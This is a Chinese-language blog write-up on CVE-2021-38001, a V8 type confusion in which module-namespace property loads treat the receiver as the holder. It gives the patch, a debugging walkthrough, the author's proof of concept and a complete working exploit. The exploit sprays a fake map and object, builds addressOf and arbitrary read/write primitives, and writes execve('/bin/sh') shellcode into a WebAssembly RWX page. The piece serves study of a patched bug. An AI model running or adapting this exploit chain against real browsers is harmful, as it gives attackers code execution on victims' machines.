文章目录
- 前言
- 环境搭建
- 漏洞分析
- 漏洞利用
- 总结
- 参考
前言
该漏洞在似乎在 bugs.chromium
上没有公开?笔者并没有找到相关漏洞描述,所以这里更多参考了别人的分析。
本文需要一定的 ICs
相关知识,请读者自行先查阅学习,比较简单,就不再赘述了,本文的主要关注点在于漏洞的分析与利用。
环境搭建
官方 patch 如下:
diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 0989c61..10c8388 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -836,8 +836,8 @@Comment("module export");TNode<UintPtrT> index =DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
- TNode<Module> module = LoadObjectField<Module>(
- CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
+ TNode<Module> module =
+ LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);TNode<ObjectHashTable> exports =LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index c2926e5..58c75a5 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -996,7 +996,13 @@// We found the accessor, so the entry must exist.DCHECK(entry.is_found());int value_index = ObjectHashTable::EntryToValueIndex(entry);
- return LoadHandler::LoadModuleExport(isolate(), value_index);
+ Handle<Smi> smi_handler =
+ LoadHandler::LoadModuleExport(isolate(), value_index);
+ if (holder_is_lookup_start_object) {
+ return smi_handler;
+ }
+ return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+ smi_handler);}Handle<Object> accessors = lookup->GetAccessors();
这里拉取源码后手动引入漏洞即可:
git checkout b5fa92428c9d4516ebdc72643ea980d8bde8f987
sudo apt install python
gclient sync -D
// 手动引入漏洞
// 其中 args.gn 内容如下,一些内容是手动添加的,主要是为了方便调试
dcheck_always_on = false
is_debug = false
target_cpu = "x64"symbol_level=2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
漏洞分析
两个补丁分别打在了 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase
和 LoadIC::ComputeHandler
中。在 LoadIC::ComputeHandler
中的补丁主要针对于计算 holder
是 JSModuleNamespace
时的 handler
DCHECK(entry.is_found());int value_index = ObjectHashTable::EntryToValueIndex(entry);
- return LoadHandler::LoadModuleExport(isolate(), value_index);
+ Handle<Smi> smi_handler =
+ LoadHandler::LoadModuleExport(isolate(), value_index);
+ if (holder_is_lookup_start_object) {
+ return smi_handler;
+ }
+ return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+ smi_handler);}
在原来的代码中,是直接返回 LoadHandler::LoadModuleExport(isolate(), value_index)
,但是在补丁代码中,会检查 holder
是否是 lookup_start_object
即确定起始对象是否与当前查找操作的接收者对象相同,如果是则直接返回,不是则调用 LoadFromPrototype
从原型链上加载。
我们先来看下 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase
中的补丁,先看下调用链:
Many Load ICs Functions
AccessorAssembler::HandleLoadICHandlerCaseAccessorAssembler::HandleLoadICSmiHandlerCase
AccessorAssembler::HandleLoadICSmiHandlerCase
中补丁关键上下文:
......BIND(&module_export);{Comment("module export");// 对 handler 进行解密(解码)得到 index,这里的 index 是属性的编号TNode<UintPtrT> index = DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);// 获取 module [SourceTextModule]// 注意:这里是直接将 receiver 强转成的 JSModuleNamespace 类型// 注意 receiver 于 holder 的区别TNode<Module> module = LoadObjectField<Module>(CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
// TNode<Module> module =
// LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);// 获取 exports [ObjectHashTable]TNode<ObjectHashTable> exports =LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);// 获取对于属性的 cell [Cell]TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));// The handler is only installed for exports that exist.// 从 cell 中获取属性值 valueTNode<Object> value = LoadCellValue(cell);Label is_the_hole(this, Label::kDeferred);// 判断值是否是 teh_hole,防止泄漏 the_holeGotoIf(IsTheHole(value), &is_the_hole);// 如果不是 the_hole 则返回exit_point->Return(value);BIND(&is_the_hole);{// 是 the_hole 则抛出异常TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),message, p->name());}}
......
上述逻辑主要功能就是将 recevier
当作 JSModuleNamespace
,然后获取对应的属性值。问题的关键是:recviver
不一定就是 holder
。
这里就得来看看导入模块对象的内存布局了,考虑如下代码:
// 1.mjs
export let x = {};
export let y = {test:1};
export let z = {};// demo.mjs
import * as exmodule from "1.mjs";
%DebugPrint(exmodule);
%SystemBreak();
来看看 exmodule
的内存结构以及属性 x/y/z
的存储位置,首先 exmodule
是一个 JSModuleNamespace
类型的对象,其中存在一个 module
字段::
而 module
存在一个 exports
字段:
而 exports
包含了一些 Cell
,每一个 Cell
对应一个属性:
Cell
中的 value
就是属性值
关于上述代码中的对 handler
解码得到属性 index
可能读者会疑惑,这里来简单看下 JSModuleNamespace
属性加载 ICs
中的 handler
是如何计算出来的:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {Handle<Object> receiver = lookup->GetReceiver();ReadOnlyRoots roots(isolate());// 原型链上的第一个对象Handle<Object> lookup_start_object = lookup->lookup_start_object();
......Handle<Map> map = lookup_start_object_map();bool holder_is_lookup_start_object =lookup_start_object.is_identical_to(lookup->GetHolder<JSReceiver>());// 不同的类型状态计算 handlerswitch (lookup->state()) {case LookupIterator::INTERCEPTOR: {......}// 对应 Load 类型的操作,一般会进入 ACCESSOR 分支case LookupIterator::ACCESSOR: {// 获取 holder,这里的 holder 指的是正在被处理的对象Handle<JSObject> holder = lookup->GetHolder<JSObject>();// Use simple field loads for some well-known callback properties.// The method will only return true for absolute truths based on the// lookup start object maps.FieldIndex index;if (Accessors::IsJSObjectFieldAccessor(isolate(), map, lookup->name(), &index)) {TRACE_HANDLER_STATS(isolate(), LoadIC_LoadFieldDH);return LoadHandler::LoadField(isolate(), index);}// 处理的是 JSModuleNamespace 类型if (holder->IsJSModuleNamespace()) {// 获取 exports 字段Handle<ObjectHashTable> exports(Handle<JSModuleNamespace>::cast(holder)->module().exports(), isolate());// 寻找对应属性的 entryInternalIndex entry =exports->FindEntry(isolate(), roots, lookup->name(), Smi::ToInt(lookup->name()->GetHash()));// We found the accessor, so the entry must exist.DCHECK(entry.is_found());// 计算要获取的属性在哈希表中的索引int index = ObjectHashTable::EntryToValueIndex(entry);// 返回 LoadModuleExport handler 函数return LoadHandler::LoadModuleExport(isolate(), index);
// Handle<Smi> smi_handler =
// LoadHandler::LoadModuleExport(isolate(), index);
// if (holder_is_lookup_start_object) {
// return smi_handler;
// }
// return LoadHandler::LoadFromPrototype(isolate(), map, holder,
// smi_handler);}
......Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {int config =KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);return handle(Smi::FromInt(config), isolate);
}
可以看到这里的 handler
就是对 index
进行了加密(这里 kModuleExport
是一个固定的枚举值,表示类型,由于其是固定的,所以这里可以直接看成是对 index
的加密)所以上面直接进行解密获取 index
的原理应该是没问题了。但是这里存在一些问题,在补丁代码中可以看到其检查了 holder_is_lookup_start_object
,即只有 holder
是 receiver
才直接返回 smi_handler
,否则调用 LoadFromPrototype
如果读者还是很迷,建议看看
ICs
相关源码
然后回到漏洞代码处,在上面我们看到了这里是直接将 receiver
当作了 holder
。receiver
代表的是发生属性访问时,发起并接收结果的对象;而 holder
代表的是正在被查询的对象。所以这里的漏洞就是认为 receiver
与 holder
是一样的,而我们知道属性查询是沿着原型链进行的,所以这里 receiver
与 holder
不一定是一样的,比如:
A->B 表示B是A的原型
var a = new A();
a.x; ==> 【1】先在 a 对象上查找 x 属性:receiver = a, holder = a【2】没有在 a 对象上找到 x 属性,则沿着原型链查找 B 对象:reveiver = a, holder = B
然后这里在【2】中会发生类型混淆
接下来就是去写 POC
了,我看网上的 POC
都是通过 super
来触发的,但是仔细分析了该漏洞产生的原因你会发现,这个触发的方式有很多,因为其本质就是在查询原型链的过程中没有区分 receiver
和 holder
,下面是我自己写的 POC
:
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};// poc.mjs
import * as exmodule from "1.mjs";
function poc(obj) {return obj.y;
}function trigger() {let target = {};target.__proto__ = exmodule;target.x0 = 0x40404040 / 2;target.x1 = 0x42424242 / 2;target.x2 = 0x44444444 / 2;target.x3 = 0x46464646 / 2;target.x4 = 0x48484848 / 2;let res = poc(target);return res;
}for (let i = 0; i < 11; i++) {trigger();
}
调试一下:
程序在这里崩溃了,然后可以看到这里应该内存访问错误,因为 r11 = 0x240040404040
是一个没有访问权限的地址,而且这里你仔细观察你会发现 r11
的低 4 字节为 0x40404040
,这不就是 target.x0
的值吗?是巧合吗?多测一下就会发现不是巧合。而这里的 r11
是通过上面的 mov r11d, DWORD PTR [rbx+0xb]
获取的,这里的 rbx
指向的就是 target
对象:
结合上面的漏洞分析,很明显这里发生了类型混淆,这里是把 target
当作了 exmodule
了。
而在上面的代码分析中我们知道从 exmodule [JSModuleNamespace] -> module -> exports -> Cell -> value
是不存在任何检查的,所以我们可以通过控制 target.x0
从而伪造一个 JSModuleNamespace
对象,然后伪造 module -> exports -> Cell -> value
去伪造一个任意地址、任意类型(前提得伪造 map
)的对象
但是在笔者伪造的过程中,因为在 V8
中存在指针标记,所以对象地址的 LSB = 1
,所以这里的偏移总是要减一,因此这里伪造时,字段偏移搞的笔者非常烦
后面看到了一个比较好的方案,经过调试这里的字段偏移如下:
exmodule -> exports 0x4
exports -> cell 0x20
cell -> value 0x4
这里直接看结果吧,考虑如下代码:
import * as exmodule from "1.mjs";
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}
%DebugPrint(obj_prop_ut_fake);
%SystemBreak();
调试:
nice
完美匹配,当然你可能会好奇为啥呢?很简单 JSObject + 4
就是 peroperty
,而我们可以在 peroperty
中布置大量的 heap_number
,这样 peroperty + 0x20
也就是一个 heap_num
地址了,而非常 nice
的是 heap_number + 4
就是我们保存的值,所以我们通过修改 value
即可伪造对象:
真是佩服!!!
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};// poc.mjs
import * as exmodule from "1.mjs";var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function poc(obj) {return obj.y;
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}function trigger() {let target = {};target.__proto__ = exmodule;target.x0 = obj_prop_ut_fake;let res = poc(target);return res;
}let evil;
for (let i = 0; i < 11; i++) {evil = trigger();
}%DebugPrint(evil);
最后输出如下:
DebugPrint: Smi: 0x21212121 (555819297)
可以看到这里成功输出 0x21212121
,这里将 0x42424242
修改为伪造的对象地址即可
漏洞利用
在这里学到了一种新的利用方式:
- 在存在指针压缩的
V8
版本中,可以通过分配大对象去获取一个地址固定的element
,而大对象在gc
过程中是不会被移动的,所以在利用的过程中不管是否发生gc
,element
的地址都不会变,这使得我们的利用稳定性大大提高了 - 在加载对象时,仅仅检查了
map
的类型内容,对于其指针内容并没有检查,所以我们可以在大对象中伪造一个map
,而大对象element
是固定已知的,因此伪造的map
地址也是固定已知的。这种方式的好处也是提高漏洞利用的稳定性,在之前的利用中,笔者通常是将map
修改为其它对象的map
,但是其它对象的map
地址老是改变(可能发生了内存整理等)
最后笔者写利用时还是采用的 super
触发,其实都无所谓,看你自己啦
export let x = {};
export let y = {test:1};
export let z = {};
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};// exploit.mjs
import * as exmodule from "1.mjs";function shellcode() {return [1.9553825422107533e-246,1.9560612558242147e-246,1.9995714719542577e-246,1.9533767332674093e-246,2.6348604765229606e-284];
}for (let i = 0; i < 0x10000; i++) {shellcode(); shellcode();shellcode(); shellcode();
}var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function u64_to_f64(val) {u64[0] = val;return f64[0];
}function f64_to_u64(val) {f64[0] = val;return u64[0];
}function set_u64(val) {u64[0] = val;
}function set_l(l) {u32[0] = l;
}function set_h(h) {u32[1] = h;
}function get_u64() {return u64[0];
}function get_f64() {return f64[0];
}function get_fl(val) {f64[0] = val;return u32[0];
}function get_fh(val) {f64[0] = val;return u32[1];
}function add_ref(obj) {roots[index++] = obj;
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {add_ref(new ArrayBuffer(0x200000));}add_ref(new ArrayBuffer(8));
}function hexx(str, val) {console.log(str+": 0x"+val.toString(16));
}function sleep(ms) {return new Promise((resolve) => setTimeout(resolve, ms));
}class C {m() {return super.y;}
}// elements ==> 0x08482119
// data ==> 0x08482120
// 0x1604040408002119
// 0x0a0007ff11000834
var spray_array = new Array(0xf700);
let data_start_addr = 0x08502119+7;
let map_addr = data_start_addr + 0x1000;
let fake_object_addr = map_addr + 0x1000;
let leak_element_start_addr = 0x08582119;
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
spray_array[(map_addr -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);var leak_object_array = new Array(0xf700).fill({});//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);let flag = 0;
let zz = {aa:1, bb:2};
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {obj_prop_ut_fake['x' + i] = pair_u32_to_f64(fake_object_addr+1, 0);
}//%DebugPrint(obj_prop_ut_fake);function trigger() {C.prototype.__proto__ = zz;zz.__proto__ = exmodule;let c = new C();c.x0 = obj_prop_ut_fake;//c.x0 = 0x40404040 / 2;//c.x1 = 0x42424242 / 2;//c.x2 = 0x44444444 / 2;//c.x3 = 0x46464646 / 2;//c.x4 = 0x48484848 / 2;if (flag == 10) {// %DebugPrint(c);// %DebugPrint(spray_array);// %DebugPrint(exmodule);// %SystemBreak();}flag++;let res = c.m();return res;
}let evil;
for (let i = 0; i < 11; i++) {evil = trigger();
}function addressOf(obj) {leak_object_array[0] = obj;spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);return get_fl(evil[0]);}function arb_read_cage(addr) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);return f64_to_u64(evil[0]);
}function arb_write_cage(addr, val) {let oirg_val = arb_read_cage(addr);evil[0] = pair_u32_to_f64(val, orig_val&0xffffffffn)}function arb_write(addr, val) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);evil[0] = u64_to_f64(val)
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;var sc = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];let wasm_instance_addr = addressOf(wasm_instance);
hexx("wasm_instance_addr", wasm_instance_addr);
let rwx_addr = arb_read_cage(wasm_instance_addr+0x60);
hexx("rwx_addr", rwx_addr);var raw_buf = new ArrayBuffer(0x200);
var dv = new DataView(raw_buf);
let raw_buf_addr = addressOf(raw_buf);
hexx("raw_buf_addr", raw_buf_addr);
arb_write(raw_buf_addr+0x1c, rwx_addr);for (let i = 0; i < sc.length; i++) {dv.setBigInt64(i*8, sc[i], true);
}//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//%DebugPrint(evil);
//%DebugPrint(shellcode);
//let shellcode_addr = addressOf(shellcode);
//%DebugPrint(leak_object_array);
//hexx("shellcode_addr", shellcode_addr);pwn();
//%SystemBreak();
效果如下:
总结
本次漏洞分析,自己比较满意,最后也成功的靠自己写出了 POC
(终于不是直接抄网上的 POC
了,呜呜呜),也成功的抓住了漏洞的本质:在原型链上查询属性时,没有正确区分 holder
和 receiver
导致的类型混淆。
然后还学习了一种利用方式:利用大对象提高稳定性
参考
cve-2021-38001-分析
[原创]零基础入门V8——CVE-2021-38001漏洞利用